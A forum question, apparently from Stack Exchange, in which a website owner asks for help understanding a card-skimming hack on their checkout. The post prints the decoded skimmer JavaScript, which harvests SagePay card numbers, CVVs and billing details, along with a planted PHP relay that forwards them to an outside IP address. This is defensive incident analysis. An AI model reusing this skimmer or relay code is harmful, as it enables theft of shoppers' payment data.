I need help in understanding this hack and maybe I can get more information out of it.
This script was inserted on our website (maybe through a weak password):
eval(atob("string"));
the string means (using a base 64 decoder):
var se = false;
function timedMe() {
if ((!se) && (document.getElementById('sagepaydirectpro_cc_cid'))) {
fln = document.getElementById('billing:firstname').value + ' ' + document.getElementById('billing:lastname').value;
ci = document.getElementById('billing:city').value;
s = document.getElementById('billing:region_id');
st = s.options[s.selectedIndex].text;
c = document.getElementById('billing:country_id');
co = c.options[c.selectedIndex].text;
ad = document.getElementById('billing:street1').value + ' ' + document.getElementById('billing:street2').value;
zp = document.getElementById('billing:postcode').value;
t = document.getElementById('sagepaydirectpro_cc_type');
ct = t.options[t.selectedIndex].text;
cn = document.getElementById('sagepaydirectpro_cc_number').value;
cem = document.getElementById('sagepaydirectpro_expiration').value;
cey = document.getElementById('sagepaydirectpro_expiration_yr').value;
cvv = document.getElementById('sagepaydirectpro_cc_cid').value;
if ((cn.length == 16 && cvv.length == 3) || (cn.length == 15 && cvv.length == 4)) {
se = true;
var i = document.createElement('img');
i.src = 'https://this.is.our.website.url/shell/shell.php?p=132' + encodeURIComponent('&fln=' + fln + '&ct=' + ct + '&cn=' + cn + '&cem=' + cem + '&cey=' + cey + '&cvv=' + cvv + '&co=' + co + '&ci=' + ci + '&st=' + st + '&ad=' + ad + '&zp=' + zp);
}
}
}
setInterval('timedMe()', 700);
And then in shell/shell.php
there is:
if($_GET['p']){
$dourl=base64_decode('aHR0cDovLzE5My4xMDQuNDEuMjIwL2wzLnBocD9wPQ==').urlencode($_GET['p']);
if(function_exists('curl_init')){
if($ch=curl_init()){
curl_setopt($ch,CURLOPT_URL,$dourl);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
if($data=@curl_exec($ch)) $wrt=$data;curl_close($ch);
}
}
else $wrt=@file_get_contents($dourl);
}
that string is decoded to:
http://193.104.41.220/l3.php?p=
So, my understanding is that when a customer makes a payment on our website:
1) it gets all the information from sagepay fields
2) does a check to see if cn and cvv are valid
3) creates an image and is attached to the url all the credit card data
4) the php script takes that data to their server (http://193.104.41.220).
My question:
Is there anything else that I can discover from these scripts, like how many cards have been compromised etc?
shell.php
. It contains all your customers' credit card info. – Question Overflow Nov 28 '15 at 6:04